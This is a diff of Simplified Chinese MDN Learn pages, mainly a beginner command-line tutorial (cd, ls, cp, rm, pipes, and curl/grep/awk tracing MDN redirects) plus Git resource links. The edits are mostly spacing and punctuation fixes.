+温馨提示: 在 Git 和 GitHub 上面你还可以做一大堆事情,但我们认为,如果你想要有效地使用 Git,上面的这些知识是至少应该具备的。当你更深入地了解 Git 时,你将会意识到,当你开始使用更加复杂的指令时会更容易出错。但不要担心,即使是专业的网络工程师有时都会感到困惑,并通过网络检索或 Flight rules for Git 和 Dangit, git! 这样的网站来寻找答案。
还可以看看
-
- Understanding the GitHub flow 【理解 GitHub 流程】
-- Git command list 【指令列表】
-- Mastering markdown 【掌握 Markdown 格式】 (在网页上、评论区常用的格式以及
-.md
文件所使用的格式,GitHub 中的介绍文件 (readme.md) 即用这种格式书写)。- Getting Started with GitHub Pages 【入门 Github 页面】 (如何在 GitHub 上发布示例和网站)。
-- Learn Git branching 【学习 Git 的分支结构】
-- Flight rules for Git 【Git 中的飞行法则】 ( 在Git中实现特定功能的非常有用的方法介绍纲要,包括如何在出错时纠错等)。
+- Understanding the GitHub flow【理解 GitHub 流程】
+- Git command list【指令列表】
+- Mastering markdown【掌握 Markdown 格式】 (在网页上、评论区常用的格式以及
+.md
文件所使用的格式,GitHub 中的介绍文件 (readme.md) 即用这种格式书写)。- Getting Started with GitHub Pages【入门 Github 页面】 (如何在 GitHub 上发布示例和网站)。
+- Learn Git branching【学习 Git 的分支结构】
+- Flight rules for Git【Git 中的飞行法则】 (在 Git 中实现特定功能的非常有用的方法介绍纲要,包括如何在出错时纠错等)。
- diff --git a/files/zh-cn/learn/tools_and_testing/index.html b/files/zh-cn/learn/tools_and_testing/index.html index dc0a0868134174..117c5fde576ad1 100644 --- a/files/zh-cn/learn/tools_and_testing/index.html +++ b/files/zh-cn/learn/tools_and_testing/index.html @@ -13,27 +13,27 @@ ---
Dangit, git! 【#网络和谐#,Git !】(另一个十分有用的方法介绍纲要,特别是在出错的时候进行纠正的方法)。
{{LearnSidebar}}-一旦你开始使用web的核心技术(如HTML,CSS和Javascript)进行编程,并且开始获得更多的体验,读更多的资料,学习更多的提示和技巧,你就会遇到各种工具,从优化的CSS和Javascript到测试和自动化应用,再到其他更多的领域。当你的web项目变得更大更复杂,如果你希望利用一些工具为你的代码做出可靠的测试计划。本节教程旨在帮助你开始并做出明智的选择。
+一旦你开始使用 web 的核心技术(如 HTML,CSS 和 Javascript)进行编程,并且开始获得更多的体验,读更多的资料,学习更多的提示和技巧,你就会遇到各种工具,从优化的 CSS 和 Javascript 到测试和自动化应用,再到其他更多的领域。当你的 web 项目变得更大更复杂,如果你希望利用一些工具为你的代码做出可靠的测试计划。本节教程旨在帮助你开始并做出明智的选择。
-web行业是个让人兴奋的地方,但它也有并发症。现在我们用来构建网站的核心技术是相当稳定的,但是新的特性一直不断地加进来,还有建立在这些技术之上的能够方便我们工作的新的工具,都在不断出现。在此之前,我们仍然需要保持前台的跨浏览器支持,并且保证我们的代码遵循最佳实践以允许我们的项目可以工作在不同的浏览器和设备上,让我们的用户能够正常浏览我们的网页,还要保证对残障人士可用。
+web 行业是个让人兴奋的地方,但它也有并发症。现在我们用来构建网站的核心技术是相当稳定的,但是新的特性一直不断地加进来,还有建立在这些技术之上的能够方便我们工作的新的工具,都在不断出现。在此之前,我们仍然需要保持前台的跨浏览器支持,并且保证我们的代码遵循最佳实践以允许我们的项目可以工作在不同的浏览器和设备上,让我们的用户能够正常浏览我们的网页,还要保证对残障人士可用。
找出你应该用什么样的工具是个困难的过程,所以我们这系列文章来告诉你哪些工具是可用的,它们能为你做什么,和如何利用行业的热门工具。
-提示: 因为一直以来都是新的工具出现伴随着旧的工具过时,所以我们有意将材料写得尽可能地中立—我们想优先关注那些能够帮你完成通用类型任务的工具,而不是一些特殊工具。我们显然需要展示某些工具的用途来演示特殊的技术,但是要清楚我们并不是把它们作为最好的或者唯一的工具进行推荐—大多数情况下有很多其他的方式可以备选,我们只是想提供给你一个清晰的可用的方法。
+提示:因为一直以来都是新的工具出现伴随着旧的工具过时,所以我们有意将材料写得尽可能地中立—我们想优先关注那些能够帮你完成通用类型任务的工具,而不是一些特殊工具。我们显然需要展示某些工具的用途来演示特殊的技术,但是要清楚我们并不是把它们作为最好的或者唯一的工具进行推荐—大多数情况下有很多其他的方式可以备选,我们只是想提供给你一个清晰的可用的方法。
学习途径
-尝试详细地使用这些工具之前,你首先应该学习 HTML, CSS,和 JavaScript 的基础知识。 比如,在你开始调试复杂web代码之前,你需要知道这些语言的基础知识,或者能有效地使用Javascript库,或者能够使用测试工具为你的代码编写和运行测试等等。
+尝试详细地使用这些工具之前,你首先应该学习 HTML, CSS,和 JavaScript 的基础知识。比如,在你开始调试复杂 web 代码之前,你需要知道这些语言的基础知识,或者能有效地使用 Javascript 库,或者能够使用测试工具为你的代码编写和运行测试等等。
首先你需要一个扎实的基础。
模块
-
diff --git a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html index 6271ece89231f9..9d2bb764603684 100644 --- a/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html +++ b/files/zh-cn/learn/tools_and_testing/understanding_client-side_tools/command_line/index.html @@ -16,16 +16,16 @@- 真实世界web开发工具(TBD)
-- 在这个模块中,我们探索各种可用的web开发工具。这包括审查你不得不解决的最基本的任务,如何让它们在一个工作流中协调配合以及目前能够完成这些任务的最好的工具。
+- 真实世界 web 开发工具 (TBD)
+- 在这个模块中,我们探索各种可用的 web 开发工具。这包括审查你不得不解决的最基本的任务,如何让它们在一个工作流中协调配合以及目前能够完成这些任务的最好的工具。
- 跨浏览器测试
-- 这个模块在测试web项目跨不同浏览器的领域看起来很特别。我们要识别你的目标受众(比如,你最担心的是哪些用户、浏览器和设备?),如何做测试,主要的问题是你将面临不同类型的代码和如何修复它们,有什么有用的工具能够帮助你测试和修复问题,如何通过自动化来增加测试效率。
+- 这个模块在测试 web 项目跨不同浏览器的领域看起来很特别。我们要识别你的目标受众(比如,你最担心的是哪些用户、浏览器和设备?),如何做测试,主要的问题是你将面临不同类型的代码和如何修复它们,有什么有用的工具能够帮助你测试和修复问题,如何通过自动化来增加测试效率。
{{PreviousMenuNext("Learn/Tools_and_testing/Understanding_client-side_tools/Overview","Learn/Tools_and_testing/Understanding_client-side_tools/Package_management", "Learn/Tools_and_testing/Understanding_client-side_tools")}}-在您的开发过程中,您无疑需要在终端上运行一些命令(或者在“命令行”上,它们实际上是相同的)。本文介绍了终端、需要输入的基本命令、如何将命令链接在一起,以及如何添加自己的命令行接口(CLI)工具。
+在您的开发过程中,您无疑需要在终端上运行一些命令 (或者在“命令行”上,它们实际上是相同的)。本文介绍了终端、需要输入的基本命令、如何将命令链接在一起,以及如何添加自己的命令行接口 (CLI) 工具。
- 先决条件: +先决条件: 熟悉核心的 HTML, CSS, 和 JavaScript 语言。 - @@ -33,14 +33,14 @@目标: +目标: 要了解什么是终端/命令行,应该学习什么基本命令,以及如何安装新的命令行工具。 欢迎使用终端
-终端是一个文本界面,用于执行基于文本的程序。如果您正在运行任何用于web开发的工具,那么几乎可以保证您必须打开命令行并运行一些命令来使用您所选择的工具(您经常会看到这样的工具被称为CLI工具命令行接口工具)。
+终端是一个文本界面,用于执行基于文本的程序。如果您正在运行任何用于 web 开发的工具,那么几乎可以保证您必须打开命令行并运行一些命令来使用您所选择的工具 (您经常会看到这样的工具被称为CLI 工具命令行接口工具)。
-大量的工具可以通过在命令行中输入命令来使用;许多是预先安装在您的系统上的,还有大量其他的可以从包注册表中安装。包注册表类似于应用程序商店,但(主要)用于基于命令行的工具和软件。我们将在本章后面看到如何安装一些工具,在下一章我们将学习更多关于包注册表的知识。
+大量的工具可以通过在命令行中输入命令来使用;许多是预先安装在您的系统上的,还有大量其他的可以从包注册表中安装。包注册表类似于应用程序商店,但 (主要) 用于基于命令行的工具和软件。我们将在本章后面看到如何安装一些工具,在下一章我们将学习更多关于包注册表的知识。
@@ -48,7 +48,7 @@ - 对命令行最大的一个批评是它在用户体验方面非常缺乏。第一次查看命令行可能是一种令人畏惧的体验:空白屏幕和闪烁的光标,对于要做什么几乎没有明显的帮助。
+对命令行最大的一个批评是它在用户体验方面非常缺乏。第一次查看命令行可能是一种令人畏惧的体验:空白屏幕和闪烁的光标,对于要做什么几乎没有明显的帮助。
欢迎使用终端
@@ -58,7 +58,7 @@ - 表面上看,它们并不受欢迎,但您可以使用它们做很多事情,我们保证,通过一些指导和练习,使用它们会变得更容易!这就是为什么我们提供这一章来帮助你在这个看似不友好的环境中开始。
+表面上看,它们并不受欢迎,但您可以使用它们做很多事情,我们保证,通过一些指导和练习,使用它们会变得更容易!这就是为什么我们提供这一章来帮助你在这个看似不友好的环境中开始。
终端从何而来?
@@ -66,7 +66,7 @@ - 终端机起源于20世纪五六十年代,它最初的形式与我们今天使用的并不相似(这是我们应该感谢的)。你可以在维基百科的词条中读到一些历史 Computer Terminal。
+终端机起源于 20 世纪五六十年代,它最初的形式与我们今天使用的并不相似 (这是我们应该感谢的)。你可以在维基百科的词条中读到一些历史 Computer Terminal。
终端从何而来?
@@ -74,7 +74,7 @@ - 从那时起,终端一直是所有操作系统的一个不变的特征,从台式电脑到隐藏在云中的服务器(它并不是真正的云),到像树莓PI Zero这样的微型计算机,甚至到移动电话。它提供了对计算机底层文件系统和底层特性的直接访问,因此,如果您知道自己在做什么,它对于快速执行复杂任务非常有用。
+从那时起,终端一直是所有操作系统的一个不变的特征,从台式电脑到隐藏在云中的服务器 (它并不是真正的云),到像树莓 PI Zero 这样的微型计算机,甚至到移动电话。它提供了对计算机底层文件系统和底层特性的直接访问,因此,如果您知道自己在做什么,它对于快速执行复杂任务非常有用。
终端从何而来?
@@ -94,7 +94,7 @@ - 例如,编写一个命令来立即更新数百个文件的标题,例如从ch01-xxxx.png更新到ch02-xxxx.png,这对于自动化也很有用。如果您使用finder或explorer GUI应用程序更新文件名,这将花费您很长时间。
+例如,编写一个命令来立即更新数百个文件的标题,例如从 ch01-xxxx.png 更新到 ch02-xxxx.png,这对于自动化也很有用。如果您使用 finder 或 explorer GUI 应用程序更新文件名,这将花费您很长时间。
终端像什么呢?
@@ -104,7 +104,7 @@ - 下面的图片显示了Windows中可用的命令提示,有很多种选项,从“cmd”程序到“powershell”,可以在开始菜单中输入程序名称运行。
+下面的图片显示了 Windows 中可用的命令提示,有很多种选项,从“cmd”程序到“powershell”,可以在开始菜单中输入程序名称运行。
终端像什么呢?
@@ -113,30 +113,30 @@ - 下面是macOS终端应用程序。
+下面是 macOS 终端应用程序。
终端像什么呢?
你如何进入终端?
-现在许多开发人员都在使用基于unix的工具(例如,终端,以及你可以通过它访问的工具)。目前web上存在的许多教程和工具都支持(可悲的是假定)基于unix的系统,但不用担心它们在大多数系统上都可用。在本节中,我们将了解如何访问所选系统上的终端。
+现在许多开发人员都在使用基于 unix 的工具 (例如,终端,以及你可以通过它访问的工具)。目前 web 上存在的许多教程和工具都支持 (可悲的是假定) 基于 unix 的系统,但不用担心它们在大多数系统上都可用。在本节中,我们将了解如何访问所选系统上的终端。
Linux/Unix
-如上所述,Linux / Unix系统默认情况下在应用程序中列出了一个可用的终端。
+如上所述,Linux / Unix 系统默认情况下在应用程序中列出了一个可用的终端。
macOS
- - macOS有一个名为Darwin的系统,它位于图形用户界面的下方。Darwin是类unix系统,它提供了终端和对底层工具的访问。macOS Darwin在很大程度上与Unix不相上下,当然在阅读本文时不会给我们带来任何担忧。
+macOS 有一个名为 Darwin 的系统,它位于图形用户界面的下方。Darwin 是类 unix 系统,它提供了终端和对底层工具的访问。macOS Darwin 在很大程度上与 Unix 不相上下,当然在阅读本文时不会给我们带来任何担忧。
终端可在macOS的“应用程序/实用程序/终端”上使用。 +终端可在 macOS 的“应用程序/实用程序/终端”上使用。 Windows
@@ -144,7 +144,7 @@ - 与其他一些编程工具一样,在Windows上使用终端(或命令行)传统上并不像在其他操作系统上那样简单。但情况正在好转。
+与其他一些编程工具一样,在 Windows 上使用终端 (或命令行) 传统上并不像在其他操作系统上那样简单。但情况正在好转。
Windows
@@ -152,7 +152,7 @@ - 很长一段时间以来,Windows一直有自己的名为cmd(命令提示符)的类似于终端的程序,但这显然与Unix命令不同,它相当于老式的Windows DOS提示符。
+很长一段时间以来,Windows 一直有自己的名为 cmd(命令提示符) 的类似于终端的程序,但这显然与 Unix 命令不同,它相当于老式的 Windows DOS 提示符。
Windows
@@ -160,7 +160,7 @@ - 更好的程序可以在Windows上提供终端体验,比如Powershell (see here to find installers), 和 Gitbash (作为一部分 git for Windows 工具箱)
+更好的程序可以在 Windows 上提供终端体验,比如 Powershell (see here to find installers), 和 Gitbash (作为一部分 git for Windows 工具箱)
Windows
@@ -168,7 +168,7 @@ - 然而,在现代,Windows的最佳选择是Windows Linux子系统(WSL),它是一个兼容层,用于从Windows 10中直接运行Linux操作系统,允许您直接在Windows上运行真正的终端,而不需要虚拟机。
+然而,在现代,Windows 的最佳选择是 Windows Linux 子系统 (WSL),它是一个兼容层,用于从 Windows 10 中直接运行 Linux 操作系统,允许您直接在 Windows 上运行真正的终端,而不需要虚拟机。
Windows
@@ -178,7 +178,7 @@ - 这可以直接从Windows商店免费安装。在目录中可以找到所需的所有文档 Windows Subsystem for Linux Documentation.
+这可以直接从 Windows 商店免费安装。在目录中可以找到所需的所有文档 Windows Subsystem for Linux Documentation.
Windows
@@ -188,7 +188,7 @@ - 至于在Windows上选择什么选项,我们强烈建议尝试安装WSL。您可以坚持使用默认的命令提示符(cmd),许多工具都可以正常工作,但是您会发现,如果与Unix工具具有更好的一致性,那么一切都会变得更容易。
+至于在 Windows 上选择什么选项,我们强烈建议尝试安装 WSL。您可以坚持使用默认的命令提示符 (cmd),许多工具都可以正常工作,但是您会发现,如果与 Unix 工具具有更好的一致性,那么一切都会变得更容易。
边注:命令行和
@@ -218,7 +218,7 @@ - 通常你会发现这两个术语可以互换使用。从技术上讲,终端是启动并连接到shell的软件。shell是您的会话和会话环境(提示符和快捷方式等内容可以在其中定制)。命令行是您输入命令并且光标闪烁的文字行。
+通常你会发现这两个术语可以互换使用。从技术上讲,终端是启动并连接到 shell 的软件。shell 是您的会话和会话环境 (提示符和快捷方式等内容可以在其中定制)。命令行是您输入命令并且光标闪烁的文字行。
基本的内置终端命令
@@ -245,21 +245,21 @@ - 说的够多了,让我们开始看看一些终端命令吧!下面是命令行可以做的一些事情,以及每种情况下相关工具的名称
+说的够多了,让我们开始看看一些终端命令吧!下面是命令行可以做的一些事情,以及每种情况下相关工具的名称
基本的内置终端命令
-- 建立目录:
+mkdir
- 建立目录:
mkdir
- 创建文件(修改他们的原数据):
-touch
- 复制文件:
-cp
- 移动文件:
-mv
- 删除文件或目录:
+rm
- 复制文件:
+cp
- 移动文件:
+mv
- 删除文件或目录:
-rm
- 下载在特定的url找到的文件:
-curl
- 在较大的文件体中寻找特定的片段:
-grep
- 主页查看文件的内容:
-less
,cat
- 操作和转换文本流(例如,讲HTML文件中<div>的所有实例改为<article>):
+awk
,tr
,sed
- 下载在特定的 url 找到的文件:
+curl
- 在较大的文件体中寻找特定的片段:
+grep
- 主页查看文件的内容:
+less
,cat
- 操作和转换文本流(例如,讲 HTML 文件中<div>的所有实例改为<article>):
awk
,tr
,sed
-注意:在web上有许多很好的教程深入了解web上的命令行——这只是一个简短的介绍
+注意:在 web 上有许多很好的教程深入了解 web 上的命令行——这只是一个简短的介绍
@@ -275,17 +275,17 @@ -在命令行中导航
- - 当您访问命令行时,您将不可避免地需要导航到一个特定的目录“做一些事情”。所有的操作系统(假设是默认设置)都将在您的“home”目录中启动它们的终端程序,从那里您可能想要移动到另一个地方。
+当您访问命令行时,您将不可避免地需要导航到一个特定的目录“做一些事情”。所有的操作系统 (假设是默认设置) 都将在您的“home”目录中启动它们的终端程序,从那里您可能想要移动到另一个地方。
+
cd
命令允许您更改目录。从技术上讲,cd不是一个程序,而是内置的。这意味着您的操作系统可以开箱即用地提供它,而且您也不会意外地删除它,感谢上帝!您不需要过多地担心某个命令是否是内置的,但是要记住,内置的命令会在所有基于unix的系统上出现。
cd
命令允许您更改目录。从技术上讲,cd 不是一个程序,而是内置的。这意味着您的操作系统可以开箱即用地提供它,而且您也不会意外地删除它,感谢上帝!您不需要过多地担心某个命令是否是内置的,但是要记住,内置的命令会在所有基于 unix 的系统上出现。@@ -322,12 +322,12 @@ - 要更改目录,请在终端中键入cd,然后输入要移动到的目录。假设该目录在您的主目录中,您可以使用
+cd Desktop
(请参见下面的屏幕截图).要更改目录,请在终端中键入 cd,然后输入要移动到的目录。假设该目录在您的主目录中,您可以使用
cd Desktop
(请参见下面的屏幕截图).在命令行中导航
如果要转到的目录嵌套得很深,则需要知道访问该目录的路径。 当您更加熟悉文件系统的结构时,这通常会变得更容易,但是如果您不确定路径,通常可以使用ls命令(请参见下文)的组合并在其中单击来确定它的路径。 “资源管理器/查找器”窗口可查看目录相对于当前位置的位置。
+如果要转到的目录嵌套得很深,则需要知道访问该目录的路径。当您更加熟悉文件系统的结构时,这通常会变得更容易,但是如果您不确定路径,通常可以使用 ls 命令(请参见下文)的组合并在其中单击来确定它的路径。 “资源管理器/查找器”窗口可查看目录相对于当前位置的位置。
@@ -339,7 +339,7 @@ - 例如,如果您想进入一个名为src的目录,该目录位于桌面的一个名为project的目录中,您可以从您的主文件夹键入这三个命令来到达该目录
+例如,如果您想进入一个名为 src 的目录,该目录位于桌面的一个名为 project 的目录中,您可以从您的主文件夹键入这三个命令来到达该目录
在命令行中导航
@@ -349,7 +349,7 @@ - 但这只是浪费时间,相反,您可以键入一个命令,用斜杠分隔路径中的不同项,就像在CSS、HTML或JavaScript代码中指定图像或其他资产的路径一样
+但这只是浪费时间,相反,您可以键入一个命令,用斜杠分隔路径中的不同项,就像在 CSS、HTML 或 JavaScript 代码中指定图像或其他资产的路径一样
在命令行中导航
@@ -496,11 +496,11 @@ - @@ -360,7 +360,7 @@例如,请注意,在路径上包含一个前斜线将使路径成为绝对路径
+/Users/your-user-name/Desktop
. 像我们上面做的那样,省略前导斜杠可以使路径相对于当前的工作目录。这与您在web浏览器中看到的url完全相同。前面的斜杠意味着“在网站的根”,而省略斜杠意味着“这个URL是相对于我当前页面的”。例如,请注意,在路径上包含一个前斜线将使路径成为绝对路径
/Users/your-user-name/Desktop
. 像我们上面做的那样,省略前导斜杠可以使路径相对于当前的工作目录。这与您在 web 浏览器中看到的 url 完全相同。前面的斜杠意味着“在网站的根”,而省略斜杠意味着“这个 URL 是相对于我当前页面的”。在命令行中导航
@@ -371,7 +371,7 @@ - 注意:在windows中,你使用反斜杠而不是正斜杠。
+cd Desktop\project\src
— 他的可能看起来很奇怪,但是如果你感兴趣的话, watch this YouTube clip 微软的一位主要工程师对此进行了解释。注意:在 windows 中,你使用反斜杠而不是正斜杠。
cd Desktop\project\src
— 他的可能看起来很奇怪,但是如果你感兴趣的话,watch this YouTube clip 微软的一位主要工程师对此进行了解释。列出目录内容
@@ -408,12 +408,12 @@ - 另一个内置的Unix命令是ls (list的缩写),它列出当前所在目录的内容。注意,这不会工作,如果你使用默认的Windows命令提示符(cmd),相当于dir。
+另一个内置的 Unix 命令是 ls (list 的缩写),它列出当前所在目录的内容。注意,这不会工作,如果你使用默认的 Windows 命令提示符 (cmd),相当于 dir。
介绍命令选项
ls -l-至于
+ls
, the-l
选项为您提供每行一个文件或目录的清单,并显示更多信息。可以通过查找行最左边的字母“d”来识别目录。这些是我们可以做到的cd
进入.至于
ls
, the-l
选项为您提供每行一个文件或目录的清单,并显示更多信息。可以通过查找行最左边的字母“d”来识别目录。这些是我们可以做到的cd
进入。@@ -424,7 +424,7 @@ - 下面是一个屏幕截图,顶部是一个普通的macOS终端,还有一个定制的终端,添加了一些额外的图标和颜色,让它看起来生动,都显示了运行的结果
+ls -l
:下面是一个屏幕截图,顶部是一个普通的 macOS 终端,还有一个定制的终端,添加了一些额外的图标和颜色,让它看起来生动,都显示了运行的结果
ls -l
:介绍命令选项
@@ -478,7 +478,7 @@ - 注意:要确切地了解每个命令有哪些可用选项,您可以查看它man page. 通过键入
+man
命令,后跟要查找的命令的名称,例如man ls
. 这将在终端的默认文本文件查看器中打开手册页(例如,less
(在我的终端中),然后您应该能够使用箭头键或其他类似的机制在页面中滚动。手册页详细地列出了所有选项,一开始可能有点吓人,但至少在需要时您知道它就在那里。一旦您完成了对手册页的查看,您需要使用文本查看器的quit命令退出它("q" 在less
;如果不明显,你可能需要在网上搜索才能找到).注意:要确切地了解每个命令有哪些可用选项,您可以查看它man page. 通过键入
man
命令,后跟要查找的命令的名称,例如man ls
. 这将在终端的默认文本文件查看器中打开手册页 (例如,less
(在我的终端中),然后您应该能够使用箭头键或其他类似的机制在页面中滚动。手册页详细地列出了所有选项,一开始可能有点吓人,但至少在需要时您知道它就在那里。一旦您完成了对手册页的查看,您需要使用文本查看器的 quit 命令退出它 ("q" 在less
;如果不明显,你可能需要在网上搜索才能找到).创建,复制,移动,删除
- 将删除我们在上面创建的目录。如果您希望删除一个非空的目录(并删除其中包含的所有内容),则可以使用
+-r
选项(递归),但这很危险。 确保以后在目录中不需要任何内容,因为它将永远消失。将删除我们在上面创建的目录。如果您希望删除一个非空的目录 (并删除其中包含的所有内容),则可以使用
-r
选项(递归),但这很危险。确保以后在目录中不需要任何内容,因为它将永远消失。创建,复制,移动,删除
cp
— 类似于mv
,cp
在指定的第一个位置和第二个位置创建文件的副本。例如, -cp mdn-example.txt mdn-example.txt.bak创建一个副本
mdn-example.txt
叫做mdn-example.txt.bak
(当然,如果你愿意,你也可以叫它别的名字)。- +
rm
—删除指定的文件。例如,rm mdn-example.txt
删除单个文件叫做mdn-example.txt
.请注意,此删除是永久性的,不能通过桌面用户界面上的回收站撤消。rm
—删除指定的文件。例如,rm mdn-example.txt
删除单个文件叫做mdn-example.txt
.请注意,此删除是永久性的,不能通过桌面用户界面上的回收站撤消。-注意: 许多终端命令允许您使用星号作为“通配符”字符,意思是“任何字符序列”。这允许您一次对可能大量的文件运行操作,所有这些文件都匹配指定的模式。作为一个例子,
+rm mdn-*
将删除所有文件开头mdn-
.rm mdn-*.bak
会删除所有文件的开头mdn-
结束.bak
.注意: 许多终端命令允许您使用星号作为“通配符”字符,意思是“任何字符序列”。这允许您一次对可能大量的文件运行操作,所有这些文件都匹配指定的模式。作为一个例子,
rm mdn-*
将删除所有文件开头mdn-
.rm mdn-*.bak
会删除所有文件的开头mdn-
结束.bak
.考虑终端有害吗?
@@ -512,17 +512,17 @@考虑终端有害吗?
- - 假设您在一个目录中有1000个文本文件,您想遍历它们,并且只删除文件名中有特定子字符串的文件。如果不小心,可能会删除一些重要的内容,在此过程中丢失大量工作。
+假设您在一个目录中有 1000 个文本文件,您想遍历它们,并且只删除文件名中有特定子字符串的文件。如果不小心,可能会删除一些重要的内容,在此过程中丢失大量工作。
要养成的一个好习惯是在文本编辑器中编写您的terminal命令,弄清楚您认为它应该是什么样子,然后对目录进行备份,并首先尝试在该备份上运行命令,以测试它。 +要养成的一个好习惯是在文本编辑器中编写您的 terminal 命令,弄清楚您认为它应该是什么样子,然后对目录进行备份,并首先尝试在该备份上运行命令,以测试它。 @@ -532,9 +532,9 @@ - 另一个好建议是,如果你不习惯在自己的机器上尝试终端命令,可以在Glitch.com上试试。除了是测试web开发代码的好地方外,这些项目还允许您访问终端,这样您就可以直接在该终端中运行所有这些命令,而且不会破坏您自己的机器。
+另一个好建议是,如果你不习惯在自己的机器上尝试终端命令,可以在 Glitch.com 上试试。除了是测试 web 开发代码的好地方外,这些项目还允许您访问终端,这样您就可以直接在该终端中运行所有这些命令,而且不会破坏您自己的机器。
考虑终端有害吗?
@@ -566,7 +566,7 @@ - 快速浏览特定终端命令的一个很好的资源是 tldr.sh. 这是一个社区驱动的文档服务,类似于MDN,但特定于终端命令。
+快速浏览特定终端命令的一个很好的资源是 tldr.sh. 这是一个社区驱动的文档服务,类似于 MDN,但特定于终端命令。
-在下一节中,让我们更进一步(实际上是几个层次),看看如何在命令行上将工具连接在一起,从而真正了解终端如何优于常规的桌面用户界面。 +在下一节中,让我们更进一步 (实际上是几个层次),看看如何在命令行上将工具连接在一起,从而真正了解终端如何优于常规的桌面用户界面。 与管道命令连接在一起
@@ -578,7 +578,7 @@ - 还有另一个可用的Unix工具,称为
+wc
. 它计算输入到其中的单词、行、字符或字节的数量。这可以是一个文本文件,下面的示例输出其中的行数还有另一个可用的 Unix 工具,称为
wc
. 它计算输入到其中的单词、行、字符或字节的数量。这可以是一个文本文件,下面的示例输出其中的行数与管道命令连接在一起
@@ -592,7 +592,7 @@ - 但是它还可以计算输入到它的输出的行数。例如,下面的命令计算ls命令输出的行数(如果单独运行,它通常会打印到终端),并计算到终端的输出
+但是它还可以计算输入到它的输出的行数。例如,下面的命令计算 ls 命令输出的行数 (如果单独运行,它通常会打印到终端),并计算到终端的输出
与管道命令连接在一起
@@ -600,7 +600,7 @@ - 这是怎么回事?(unix)命令行工具的一般原理是,它们将文本打印到终端(也称为“打印到标准输出”或
+STDOUT
). 很多命令也可以从流输入(称为“标准输入”o)中读取内容STDIN
).这是怎么回事?(unix) 命令行工具的一般原理是,它们将文本打印到终端 (也称为“打印到标准输出”或
STDOUT
). 很多命令也可以从流输入 (称为“标准输入”o) 中读取内容STDIN
).与管道命令连接在一起
@@ -610,7 +610,7 @@ - 管道操作符可以将这些输入和输出连接在一起,允许我们构建越来越复杂的操作,以满足我们的需要。一个命令的输出可以成为下一个命令的输入。在这种情况下,
+ls
通常会将其输出到STDOUT
, 但是相反ls
输出被制成wc
, 它将该输出作为输入,计算它包含的行数,然后将该计数输出到STDOUT。管道操作符可以将这些输入和输出连接在一起,允许我们构建越来越复杂的操作,以满足我们的需要。一个命令的输出可以成为下一个命令的输入。在这种情况下,
ls
通常会将其输出到STDOUT
, 但是相反ls
输出被制成wc
, 它将该输出作为输入,计算它包含的行数,然后将该计数输出到 STDOUT。一个稍微复杂一点的例子
@@ -618,21 +618,21 @@ - 让我们看一些更复杂的东西。我们将首先尝试获取MDN的“获取”页面的内容
+curl
命令(可用于从url请求内容)https://developer.mozilla.org/en-US/docs/Web/API/fetch.让我们看一些更复杂的东西。我们将首先尝试获取 MDN 的“获取”页面的内容
curl
命令 (可用于从 url 请求内容)https://developer.mozilla.org/en-US/docs/Web/API/fetch.一个稍微复杂一点的例子
- - 但是,这个URL是页面的旧位置。如果您在一个新的浏览器标签中输入它,您将(最终)被重定向到https://developer.mozilla.org/enUS/docs/Web/API/WindowOrWorkerGlobalScope/fetch.
+但是,这个 URL 是页面的旧位置。如果您在一个新的浏览器标签中输入它,您将 (最终) 被重定向到https://developer.mozilla.org/enUS/docs/Web/API/WindowOrWorkerGlobalScope/fetch.
因此,如果您使用curl请求https://developer.mozilla.org/docs/Web/API/fetch,则不会得到输出。 现在就试试:
+因此,如果您使用 curl 请求 https://developer.mozilla.org/docs/Web/API/fetch,则不会得到输出。现在就试试:
curl https://developer.mozilla.org/en-US/docs/Web/API/fetch-我们想精确的告诉
+curl
遵循重定向使用-L
标签.我们想精确的告诉
curl
遵循重定向使用-L
标签。@@ -682,7 +682,7 @@ - @@ -657,7 +657,7 @@让我们也看看标题
+developer.mozilla.org
返回使用curl
's-I
标签, 并打印它发送到终端的所有位置重定向,通过管道输出curl
到grep
(我们将要求grep返回包含单词“location”的所有行)。让我们也看看标题
developer.mozilla.org
返回使用curl
's-I
标签,并打印它发送到终端的所有位置重定向,通过管道输出curl
到grep
(我们将要求 grep 返回包含单词“location”的所有行)。尝试运行以下代码,您将看到在到达最终页面之前,实际上发生了三次重定向
一个稍微复杂一点的例子
- 尽管有些做作,我们可以把这个结果做得更深入一点,并变换
+location:
行内容,将基本的起点添加到每个起点的开始,这样我们就可以打印出完整的url。为此,我们将在混合中添加awk(它是一种类似于JavaScript、Ruby或Python的编程语言,只是要老得多!)尽管有些做作,我们可以把这个结果做得更深入一点,并变换
location:
行内容,将基本的起点添加到每个起点的开始,这样我们就可以打印出完整的 url。为此,我们将在混合中添加 awk(它是一种类似于 JavaScript、Ruby 或 Python 的编程语言,只是要老得多 !)一个稍微复杂一点的例子
@@ -692,7 +692,7 @@ - 通过组合这些命令,我们定制了输出以显示完整的url,当我们请求时,Mozilla服务器将通过这些url重定向
+/docs/Web/API/fetch
URL.了解您的系统将在未来几年证明是有用的,您将了解这些单一服务工具是如何工作的,以及它们如何成为您解决小众问题的工具库的一部分。通过组合这些命令,我们定制了输出以显示完整的 url,当我们请求时,Mozilla 服务器将通过这些 url 重定向
/docs/Web/API/fetch
URL.了解您的系统将在未来几年证明是有用的,您将了解这些单一服务工具是如何工作的,以及它们如何成为您解决小众问题的工具库的一部分。添加工具
@@ -700,17 +700,17 @@ - 现在我们已经了解了系统自带的一些内置命令,让我们看看如何安装和使用第三方CLI工具。
+现在我们已经了解了系统自带的一些内置命令,让我们看看如何安装和使用第三方 CLI 工具。
添加工具
- - 目前,用于前端web开发的可安装工具的巨大生态系统主要存在于内部 npm, 与Node.js紧密合作的私有的包托管服务。随着时间的推移,您可以期望看到更多的包提供者。
+目前,用于前端 web 开发的可安装工具的巨大生态系统主要存在于内部 npm, 与 Node.js 紧密合作的私有的包托管服务。随着时间的推移,您可以期望看到更多的包提供者。
Installing Node.js 还要安装npm命令行工具(以及一个以npm为中心的补充工具npx),它提供了安装其他命令行工具的网关。js和npm在所有系统上都能工作:macOS、Windows和Linux。
+Installing Node.js 还要安装 npm 命令行工具 (以及一个以 npm 为中心的补充工具 npx),它提供了安装其他命令行工具的网关。js 和 npm 在所有系统上都能工作:macOS、Windows 和 Linux。
@@ -720,17 +720,17 @@ - 现在在您的系统上安装npm,转到上面的URL,下载并运行适合您的操作系统的Node.js安装程序。如果出现提示,请确保将npm作为安装的一部分。
